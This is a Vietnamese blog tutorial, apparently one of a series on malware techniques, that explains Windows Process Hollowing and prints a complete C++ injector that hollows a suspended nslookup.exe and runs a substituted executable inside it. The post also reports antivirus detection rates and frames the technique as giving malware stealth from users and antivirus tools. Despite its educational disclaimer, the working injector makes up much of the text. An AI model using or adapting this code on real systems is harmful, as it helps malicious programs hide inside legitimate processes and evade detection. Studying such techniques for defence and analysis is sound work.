## Mở Đầu Yah, lại là mình đây! Đã một thời gian khá dài mình chưa có bài viết mới vì mình đang bận làm khóa luận tốt nghiệp và đồng thời cũng đang tìm việc làm nữa :sweat_smile:. Hiện tại, mình đã có thời gian rảnh rỗi nên quyết định bắt đầu lại series. Trong bài viết này, mình muốn giới thiệu về kỹ thuật Process Hollowing, một phương pháp code injection được sử dụng rộng rãi trong malware. Cùng bắt đầu bài viết thôi :smiling_face_with_smiling_eyes_and_hand_covering_mouth:. <div style="text-align:center;"> <img src="https://www.reactiongifs.com/r/beavis-on-computer.gif" alt=""> </div> ## Quá Trình Tạo Process Trước khi đi sâu vào kỹ thuật Process Hollowing, điều quan trọng ta cần làm là hiểu rõ các bước cụ thể khi một process được tạo ra. Hình ảnh dưới đây sẽ giúp ta hiểu rõ hơn về quá trình này. ![image](https://hackmd.io/_uploads/SJMicTCkC.png) Đầu tiên, kernel mở file thực thi và kiểm tra xem file đó có phải là file PE không? Nếu đúng, kernel sẽ tạo một kernel process object và một kernel thread object để đại diện cho process và thread mới. Cụ thể, các process và thread này sẽ được biểu diễn dưới dạng là các đối tượng của kernel. Tiếp theo, kernel sẽ ánh xạ **image** và **NTDLL.DLL** vào VAS (Virtual Address Space) của process mới và thông báo cho process Csrss.exe biết rằng đã có một process và một thread mới được tạo ra. Có thể hiểu process Csrss.exe là một công cụ hỗ trợ cho kernel để quản lý một số khía cạnh của các process trong hệ thống Windows. Tại thời điểm này, dưới góc độ của kernel, process đã được khởi tạo thành công. Tuy nhiên, process mới vẫn chưa sẵn sàng để thực thi chức năng của nó. Phần tiếp theo của quá trình khởi tạo process phải được thực hiện bên trong ngữ cảnh (context) của process mới bằng cách tạo một thread mới. Đầu tiên, một đối tượng được tạo ra để quản lý process ở không gian người dùng được gọi là **PEB** (Process Environment Block), và một đối tượng quản lý cho thread đầu tiên được gọi là **TEB** (Thread Environment Block). Tiếp theo là một loạt các quá trình khởi tạo, bao gồm việc **khởi tạo heap cho process và thread pool chẳng hạn**. Phần cuối cùng của quá trình này là việc tải các DLL mà process cần sử dụng trong quá trình thực thi lên VAS của nó. Sau đó, chương trình sẽ nhảy đến entry point để bắt đầu quá trình thực thi của process. Nếu chúng ta thử tạo một process bằng API **CreateProcess()** với cờ **CREATE_SUSPENDED**, điều này có nghĩa là process mới sẽ được tạo ở trạng thái ngưng và chỉ có thể tiếp tục thực thi bằng cách gọi API **ResumeThread()**. Thông tin về VAS của process mới sẽ được hiển thị như trong hình dưới đây. ![image](https://hackmd.io/_uploads/BJ0UyACyR.png) Ta có thể thấy rằng chỉ có image và module ntdll.dll được nạp vào VAS ở thời điểm hiện tại. Ngoài ra, PEB cũng đã được khởi tạo nhưng heap vẫn chưa được khởi tạo. Điều này ngụ ý rằng khi ta tạo một process mới với cờ CREATE_SUSPENDED, **các bước từ 1 đến 6 trong quá trình khởi tạo process đã được thực hiện, trong khi các bước từ 7 đến 9 vẫn chưa được thực hiện**. Các bước từ 7 đến 9 sẽ chỉ được thực hiện khi ta tiếp tục chạy process bằng API ResumeThread(). Kỹ thuật Process Hollowing mà mình đề cập trong bài viết này hoạt động dựa trên quan sát quan trọng này. Cụ thể, ban đầu, injector tạo một target process mới ở trạng thái tạm dừng và sau đó cố gắng thay đổi image của target process này bằng một image giả mạo. Sau đó, injector sẽ tiếp tục quá trình khởi tạo target process, quá trình khởi tạo còn lại bao gồm khởi tạo heap, thread pool và nạp các DLL mà image giả mạo này sử dụng. Cuối cùng, image giả mạo sẽ được khởi tạo và chạy trên chính target process này. ## Các bước thực hiện Process Hollowing Dưới đây là các bước cụ thể để thực hiện kỹ thuật Process Hollowing: **1. Tạo mới process:** injector tiến hành tạo target process ở trạng thái tạm dừng bằng API **CreateProcess()** với cờ **CREATE_SUSPENDED**. ![image](https://hackmd.io/_uploads/ryawT6Ry0.png) **2. Làm rỗng image:** injector sử dụng API **NtUnmapViewOfSection()** để làm rỗng image của target process. ![image](https://hackmd.io/_uploads/rkoke0CJC.png) **3. Chèn image giả mạo:** injector cấp phát một vùng nhớ mới vào vị trí đã làm rỗng trước đó. Vị trí mới này không nhất thiết phải là vị trí của image gốc, mà có thể nằm ở bất kỳ vị trí nào khác. ![image](https://hackmd.io/_uploads/HJzf0aCkR.png) **4. Nạp các header và section:** injector nạp các header và section của image giả mạo vào bộ nhớ vừa được cấp phát. Đồng thời, injector cũng thực hiện quá trình relocation cho image giả mạo. ![image](https://hackmd.io/_uploads/rJVOCa0kR.png) **5. Cập nhật context và tiếp tục quá trình khởi tạo target process:** để quá trình thực hiện kỹ thuật được diễn ra thành công, injector cần cập nhật entry point và giá trị image base trong cấu trúc PEB của target process, nếu không thì sẽ gặp lỗi. Sau khi cập nhật xong mọi thông tin cần thiết, injector gọi API **ResumeThread()** để tiếp tục các bước còn lại trong quá trình khởi tạo của target process. ![image](https://hackmd.io/_uploads/HkZcApR1A.png) ## Triển khai Process Hollowing Việc đầu tiên ta cần làm là tạo mới target process bằng API **CreateProcess()** với cờ **CREATE_SUSPENDED**. Tiếp theo, ta truy vấn địa chỉ PEB của target process bằng API **NtQueryInformationProcess()** với mục đích để lấy được image base của target process. Khi đã có được image base, ta dùng API **NtUnmapViewOfSection()** để làm rỗng (unmapping) image của target process. ![image](https://hackmd.io/_uploads/S1c8I0CkR.png) Việc tiếp theo ta cần làm là nạp raw image bằng API **CreateFile()**, **VirtualAlloc()**, và **ReadFile()**. Sau đó cấp phát một vùng nhớ mới vào chính vị trí đã được làm rỗng bằng API **VirtualAllocEx()**, độ lớn của vùng nhớ này sẽ chính là image size của raw image. ![image](https://hackmd.io/_uploads/SyxjIC0k0.png) Sau khi đã chuẩn bị xong bộ nhớ cho raw image, ta tiến hành nạp header của raw image vào target process. Trước khi nạp header thì ta phải cần cập nhật giá trị image base cho nó nếu không muốn lỗi xảy ra và đồng thời cũng cần tính giá trị delta chính là độ chênh lệch giữa image base thực tế và image base của raw image, giá trị này rất quan trọng là sẽ được sử dụng trong quá trình relocation tiếp theo. Tiếp theo, ta nạp các section của raw image vào trong target process. Dựa vào thông tin của trường **NumberOfSection** trong cấu trúc **IMAGE_FILE_HEADER** để xác định số lượng section cần nạp và các section header để truy xuất RVA và size của các section. Sau khi tính toán xong các giá trị trên, ta chỉ cần nạp các section vào trong VAS của target process. ![image](https://hackmd.io/_uploads/S1HnLAAy0.png) Sau khi chèn xong các section, quá trình thực hiện relocation phải được thực hiện. Quá trình này là cực kỳ quan trọng vì image base của target process có thể khác image base của raw image. Nếu ta không thực hiện quá trình relocation một cách đúng đắn thì target process khi chạy có thể gây ra lỗi nghiêm trọng. Để biết những vị trí nào cần thực hiện relocation, ta cần truy xuất vào base relocation table, table này chứa các relocation block, mỗi relocation block chứa những thông tin về các vị trí cần được relocation trong một page (độ lớn 4KB). Một relocation block được biểu diễn bởi hai cấu trúc là **BASE_RELOCATION_BLOCK** và **BASE_RELOCATION_ENTRY**, trong đó đối tượng của cấu trúc BASE_RELOCATION_BLOCK nằm ở đầu relocation block và theo sau đó là bao gồm một hoặc nhiều đối tượng của cấu trúc BASE_RELOCATION_ENTRY (có thể hiểu là một page có thể có một hoặc nhiều vị trí cần phải relocation). Dễ thấy, cấu trúc BASE_RELOCATION_BLOCK chứa RVA của page mà ta cần relocation và độ lớn của relocation block, còn cấu trúc BASE_RELOCATION_ENTRY chứa offset tính từ đầu page tới vị trí cần relocation và loại relocation (những loại relocation khác nhau sẽ thực hiện quá trình relocation một cách khác nhau). Để thực hiện quá trình relocation thì đầu tiên ta kiểm tra độ chênh lệch giữa image base, độ chênh lệch này là delta. Nếu độ chênh lệch có giá trị khác 0 thì ta sẽ thực hiện quá trình relocation. Nếu quá trình relocation được diễn ra thì ta tiến hành duyệt qua các relocation block để tính toán RVA của những vị trí cần relocation, với mỗi vị trí như vậy ta cập nhật giá trị bằng cách cộng thêm delta. ![image](https://hackmd.io/_uploads/rkiTURAJR.png) Việc cuối cùng ta cần làm là cập nhật lại giá trị entry point cho target process bằng chính giá trị entry point của raw image. Việc này được thực hiện thông qua API **GetThreadContext()** và **SetThreadContext()**. Lưu ý là đối với chương trình x86 thì giá trị entry point sẽ được lưu trong thanh ghi EAX, còn x64 thì được lưu trong thanh ghi **RCX**. Sau khi cập nhật xong, ta chỉ cần tiếp tục quá trình khởi tạo target process bằng API **ResumeThread()** là được. Target process lúc này sẽ thực hiện chức năng của raw image thay vì chức năng của image gốc của nó. ![image](https://hackmd.io/_uploads/SyuJP0A1C.png) Về phần raw image, chức năng cơ bản của nó chỉ là tạo mới một process notepad. ![image](https://hackmd.io/_uploads/ry6MYC010.png) :::warning :warning: Khi mình bắt đầu nghiên cứu kỹ thuật này thì mình đã đặt ra một thắc mắc đó chính là vì sao injector lại không thực hiện quá trình phân giải địa chỉ cho IAT (Import Address Table) của raw image :thinking_face:. Sau một thời gian tìm hiểu qua sách thì mình đã hiểu được rằng quá trình phân giải IAT sẽ được diễn ra ở bước thứ 7 trong quá trình khởi tạo process, điều này có nghĩa rằng nó sẽ được thực hiện sau khi injector gọi API ResumeThread(). Vì vậy cho nên khi thực hiện kỹ thuật này thì ta không cần phải bận tâm về việc đi phân giải địa chỉ cho IAT của raw image :smile:. ::: Dưới đây là đoạn code đầy đủ được dùng để triển khai kỹ thuật Process Hollowing mà mình vừa đề cập. ```cpp= #include<stdio.h> #include<Windows.h> #include<winternl.h> #include<winnt.h> #pragma comment(lib, "ntdll") #define BREAK_WITH_ERROR(m) {printf("[-] %s! Error 0x%x", m, GetLastError()); break;} #define BREAK_WITH_STATUS(m, s) {printf("[-] %s! Error 0x%x", m, s); break;} typedef struct _UNICODE_STR { USHORT Length; USHORT MaximumLength; PWSTR pBuffer; } UNICODE_STR, * PUNICODE_STR; typedef struct _PEB_FREE_BLOCK { struct _PEB_FREE_BLOCK* pNext; DWORD dwSize; } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; typedef struct __PEB { BYTE bInheritedAddressSpace; BYTE bReadImageFileExecOptions; BYTE bBeingDebugged; BYTE bSpareBool; LPVOID lpMutant; LPVOID lpImageBaseAddress; PPEB_LDR_DATA pLdr; LPVOID lpProcessParameters; LPVOID lpSubSystemData; LPVOID lpProcessHeap; PRTL_CRITICAL_SECTION pFastPebLock; LPVOID lpFastPebLockRoutine; LPVOID lpFastPebUnlockRoutine; DWORD dwEnvironmentUpdateCount; LPVOID lpKernelCallbackTable; DWORD dwSystemReserved; DWORD dwAtlThunkSListPtr32; PPEB_FREE_BLOCK pFreeList; DWORD dwTlsExpansionCounter; LPVOID lpTlsBitmap; DWORD dwTlsBitmapBits[2]; LPVOID lpReadOnlySharedMemoryBase; LPVOID lpReadOnlySharedMemoryHeap; LPVOID lpReadOnlyStaticServerData; LPVOID lpAnsiCodePageData; LPVOID lpOemCodePageData; LPVOID lpUnicodeCaseTableData; DWORD dwNumberOfProcessors; DWORD dwNtGlobalFlag; LARGE_INTEGER liCriticalSectionTimeout; DWORD dwHeapSegmentReserve; DWORD dwHeapSegmentCommit; DWORD dwHeapDeCommitTotalFreeThreshold; DWORD dwHeapDeCommitFreeBlockThreshold; DWORD dwNumberOfHeaps; DWORD dwMaximumNumberOfHeaps; LPVOID lpProcessHeaps; LPVOID lpGdiSharedHandleTable; LPVOID lpProcessStarterHelper; DWORD dwGdiDCAttributeList; LPVOID lpLoaderLock; DWORD dwOSMajorVersion; DWORD dwOSMinorVersion; WORD wOSBuildNumber; WORD wOSCSDVersion; DWORD dwOSPlatformId; DWORD dwImageSubsystem; DWORD dwImageSubsystemMajorVersion; DWORD dwImageSubsystemMinorVersion; DWORD dwImageProcessAffinityMask; DWORD dwGdiHandleBuffer[34]; LPVOID lpPostProcessInitRoutine; LPVOID lpTlsExpansionBitmap; DWORD dwTlsExpansionBitmapBits[32]; DWORD dwSessionId; ULARGE_INTEGER liAppCompatFlags; ULARGE_INTEGER liAppCompatFlagsUser; LPVOID lppShimData; LPVOID lpAppCompatInfo; UNICODE_STR usCSDVersion; LPVOID lpActivationContextData; LPVOID lpProcessAssemblyStorageMap; LPVOID lpSystemDefaultActivationContextData; LPVOID lpSystemAssemblyStorageMap; DWORD dwMinimumStackCommit; } _PEB, * _PPEB; typedef struct BASE_RELOCATION_BLOCK { DWORD PageAddress; DWORD BlockSize; } BASE_RELOCATION_BLOCK, * PBASE_RELOCATION_BLOCK; typedef struct BASE_RELOCATION_ENTRY { USHORT Offset : 12; USHORT Type : 4; } BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; typedef NTSTATUS(NTAPI* pfnNtUnmapViewOfSection)( IN HANDLE ProcessHandle, IN PVOID BaseAddress); typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength); int main(int argc, const char* argv[]) { BOOL returnStatus = 0; NTSTATUS status = 0; HMODULE hNtdll = NULL; pfnNtUnmapViewOfSection pNtUnmapViewOfSection = NULL; pfnNtQueryInformationProcess pNtQueryInformationProcess = NULL; STARTUPINFOW si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; HANDLE hFile = NULL; UINT_PTR rawImage = NULL; UINT_PTR imageBase = NULL; do { // Get APIs address if (!(hNtdll = GetModuleHandleW(L"ntdll"))) BREAK_WITH_ERROR("Failed to get ntdll module"); if (!(pNtUnmapViewOfSection = (pfnNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection"))) BREAK_WITH_ERROR("Failed to get NtUnmapViewOfSection"); if (!(pNtQueryInformationProcess = (pfnNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess"))) BREAK_WITH_ERROR("Failed to get NtQueryInformationProcess"); // Create a suspended process WCHAR path[] = L"C:\\Windows\\System32\\nslookup.exe"; if (!CreateProcessW(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) BREAK_WITH_ERROR("Failed to create process"); // Get PEB of target process _PEB peb = { 0 }; ULONG pbiSize = 0; PROCESS_BASIC_INFORMATION pbi = { 0 }; if (!NT_SUCCESS(status = pNtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &pbiSize))) BREAK_WITH_STATUS("Failed to retreive process information", status); // Read image base of target process if (!ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL)) BREAK_WITH_ERROR("Failed to read PEB"); // Unmap main module of target process if (!NT_SUCCESS(status = pNtUnmapViewOfSection(pi.hProcess, peb.lpImageBaseAddress))) BREAK_WITH_STATUS("Failed to unmap executable module of target process", status); // Load malicious image WCHAR baseImagePath[] = L"C:\\Users\\Hii\\Desktop\\syaoren.exe"; if (INVALID_HANDLE_VALUE == (hFile = CreateFileW(baseImagePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL))) BREAK_WITH_ERROR("Failed to open file"); DWORD rawImageSz = GetFileSize(hFile, NULL); if (!(rawImage = VirtualAlloc(NULL, rawImageSz, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE))) BREAK_WITH_ERROR("Failed to allocate local buffer"); if (!ReadFile(hFile, rawImage, rawImageSz, NULL, NULL)) BREAK_WITH_ERROR("Failed to read file content"); // Allocate new memory in target process PIMAGE_NT_HEADERS ntHeader = rawImage + ((PIMAGE_DOS_HEADER)rawImage)->e_lfanew; if (!(imageBase = VirtualAllocEx(pi.hProcess, peb.lpImageBaseAddress, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE))) BREAK_WITH_ERROR("Failed to allocate memory for image"); // Calculate delta and update image base for malicious image UINT_PTR delta = imageBase - ntHeader->OptionalHeader.ImageBase; ntHeader->OptionalHeader.ImageBase = imageBase; // Write header of malicious image to target process if (!WriteProcessMemory(pi.hProcess, imageBase, rawImage, ntHeader->OptionalHeader.SizeOfHeaders, NULL)) BREAK_WITH_ERROR("Failed to write header"); // Write sections of malicious image to target process PIMAGE_SECTION_HEADER sectionHeader = (UINT_PTR)ntHeader + sizeof(IMAGE_NT_HEADERS); for (DWORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) { UINT_PTR sectionRA = rawImage + sectionHeader[i].PointerToRawData; UINT_PTR sectionVA = imageBase + sectionHeader[i].VirtualAddress; WriteProcessMemory(pi.hProcess, sectionVA, sectionRA, sectionHeader[i].SizeOfRawData, NULL); } // Implementing relocation for malicious image in target process PIMAGE_DATA_DIRECTORY relocDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; BYTE relocName[] = ".reloc"; for (DWORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) { if (memcmp(sectionHeader[i].Name, relocName, sizeof(relocName))) continue; DWORD relocOffset = 0; while (relocOffset < relocDir->Size) { PBASE_RELOCATION_BLOCK relocBlock = rawImage + sectionHeader[i].PointerToRawData + relocOffset; PBASE_RELOCATION_ENTRY relocEntry = (INT_PTR)relocBlock + sizeof(BASE_RELOCATION_BLOCK); DWORD numRelocEntry = (relocBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); for (DWORD j = 0; j < numRelocEntry; j++) { if (relocEntry[j].Type == 0) continue; UINT_PTR relocPos = imageBase + relocBlock->PageAddress + relocEntry[j].Offset; UINT_PTR relocPosData = 0; ReadProcessMemory(pi.hProcess, relocPos, &relocPosData, sizeof(relocPosData), NULL); relocPosData += delta; WriteProcessMemory(pi.hProcess, relocPos, &relocPosData, sizeof(relocPosData), NULL); } relocOffset += relocBlock->BlockSize; } } // Get thread context and update new entry point CONTEXT context = { 0 }; context.ContextFlags = CONTEXT_FULL; if (!GetThreadContext(pi.hThread, &context)) BREAK_WITH_ERROR("Failed to get context"); context.Rcx = imageBase + ntHeader->OptionalHeader.AddressOfEntryPoint; if (!SetThreadContext(pi.hThread, &context)) BREAK_WITH_ERROR("Failed to set context"); // Resume thread to run malicious image ResumeThread(pi.hThread); returnStatus = TRUE; } while (0); if (INVALID_HANDLE_VALUE != hFile) CloseHandle(hFile); if (rawImage) VirtualFree(rawImage, 0, MEM_RELEASE); if (pi.hThread) CloseHandle(pi.hThread); if (pi.hProcess) CloseHandle(pi.hProcess); return 0; } ``` ## Kết quả Sau khi chạy injector thì ta có thể thấy rằng có một process notepad.exe được tạo ra. ![image](https://hackmd.io/_uploads/ByaIF0RkA.png) Sử dụng công cụ Process Hacker để kiểm tra thì thấy rằng target process là **nslookup.exe** đã tạo ra một process notepad.exe đúng như mong đợi. :smiling_face_with_smiling_eyes_and_hand_covering_mouth: ![image](https://hackmd.io/_uploads/SyEoK001C.png) Thử kiểm tra VAS của nslookup.exe thì ta thấy có một vùng nhớ có cả ba phân quyền là **RWX**, dễ thấy rằng nội dung của bộ nhớ này chính là image giả mạo mà ta đã chèn vào nslookup.exe. Vậy là ta đã thực hiện kỹ thuật này một cách thành công. ![image](https://hackmd.io/_uploads/Sk7vbwzl0.png) Theo report của virustotal, có 17/71 AV đã phát hiện injector của ta là malware. Một kết quả không tệ :smiling_face_with_smiling_eyes_and_hand_covering_mouth:. ![image](https://hackmd.io/_uploads/rJn3-vMeR.png) https://www.virustotal.com/gui/file/4da445772e0453facd364d140e055c8088df62200dca7cd4bcbed9341364416f?nocache=1 ## Kết luận Trong bài viết này, chúng ta đã thảo luận về việc triển khai kỹ thuật Process Hollowing. Kỹ thuật này có thể cung cấp tính tàng hình (steath) cho malware, tính chất này giúp malware che giấu sự hiện diện của nó khỏi user và các AV. Trong các bài viết tiếp theo, mình sẽ giới thiệu một số biến thể của kỹ thuật Process Hollowing để giúp bạn đọc có cái nhìn rộng hơn về kỹ thuật này. :::warning :zap: Lưu ý rằng, bài viết chỉ mang tính chất giáo dục và không khuyến khích việc sử dụng thông tin để thực hiện các hoạt động xấu hay bất hợp pháp. Nếu có thắc mắc hay ý kiến, đừng ngần ngại chia sẻ với mình để làm cho bài viết trở nên tốt hơn. ::: ## Tham khảo 1. https://github.com/m0n0ph1/Process-Hollowing 2. https://docs.google.com/viewerng/viewer?url=https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf